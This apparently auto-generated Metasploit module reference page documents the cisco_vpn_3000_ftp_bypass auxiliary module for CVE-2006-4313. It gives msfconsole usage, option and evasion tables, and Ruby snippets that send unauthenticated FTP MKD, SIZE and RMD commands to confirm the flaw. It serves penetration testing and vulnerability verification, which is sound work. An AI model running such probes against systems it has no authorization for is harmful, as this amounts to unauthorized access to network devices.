Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access - Metasploit


This page contains detailed information about how to use the auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
Module: auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
Source code: modules/auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass.rb
Disclosure date: 2006-08-23
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 21
List of CVEs: CVE-2006-4313

This module tests for a logic vulnerability in the Cisco VPN Concentrator 3000 series. It is possible to execute some FTP statements without authentication (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs when working with CWD commands. This module simply creates an arbitrary directory, verifies that the directory has been created, then deletes it and verifies deletion to confirm the bug.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
msf auxiliary(cisco_vpn_3000_ftp_bypass) > show targets
    ... a list of targets ...
msf auxiliary(cisco_vpn_3000_ftp_bypass) > set TARGET target-id
msf auxiliary(cisco_vpn_3000_ftp_bypass) > show options
    ... show and set options ...
msf auxiliary(cisco_vpn_3000_ftp_bypass) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass

msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show info

       Name: Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
     Module: auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-08-23

Provided by:
  aushack <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

Description:
  This module tests for a logic vulnerability in the Cisco VPN 
  Concentrator 3000 series. It is possible to execute some FTP 
  statements without authentication (CWD, RNFR, MKD, RMD, SIZE, CDUP). 
  It also appears to have some memory leak bugs when working with CWD 
  commands. This module simply creates an arbitrary directory, 
  verifies that the directory has been created, then deletes it and 
  verifies deletion to confirm the bug.

References:
  http://www.securityfocus.com/bid/19680
  https://nvd.nist.gov/vuln/detail/CVE-2006-4313
  OSVDB (28139)
  OSVDB (28138)

Module Options

This is a complete list of options available in the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module:

msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show options

Module options (auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module:

msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show advanced

Module advanced options (auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/networking/cisco_vpn_3000_ftp_bypass module can do:

msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/networking/cisco_vpn_3000_ftp_bypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/networking/cisco_vpn_3000_ftp_bypass) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server reports "not a regular file". Directory verified.

Here is a relevant code snippet related to the "Server reports "not a regular file". Directory verified." error message:

55:	      if (res =~ /257 MKD command successful\./)
56:	        print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
57:	        sock.put("SIZE #{test}\r\n")
58:	        res = sock.get_once(-1, 5)
59:	        if (res =~ /550 Not a regular file/)
60:	          print_status("\tServer reports \"not a regular file\". Directory verified.")
61:	          print_status("\tAttempting to delete directory: RMD #{test}")
62:	          sock.put("RMD #{test}\r\n")
63:	          res = sock.get_once(-1, 5)
64:	          if (res =~ /250 RMD command successful\./)
65:	            print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")

Directory <TEST> no longer exists!

Here is a relevant code snippet related to the "Directory <TEST> no longer exists!" error message:

63:	          res = sock.get_once(-1, 5)
64:	          if (res =~ /250 RMD command successful\./)
65:	            print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
66:	            sock.put("SIZE #{test}\r\n")
67:	            sock.get_once(-1, 5)
68:	            print_status("\tDirectory #{test} no longer exists!")
69:	            print_status('Target is confirmed as vulnerable!')
70:	          end
71:	        end
72:	      end
73:	    else

Target is either not Cisco or the target has been patched.

Here is a relevant code snippet related to the "Target is either not Cisco or the target has been patched." error message:

68:	            print_status("\tDirectory #{test} no longer exists!")
69:	            print_status('Target is confirmed as vulnerable!')
70:	          end
71:	        end
72:	      end
73:	    else
74:	      print_status('Target is either not Cisco or the target has been patched.')
75:	    end
76:	    disconnect
77:	  end
78:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • aushack

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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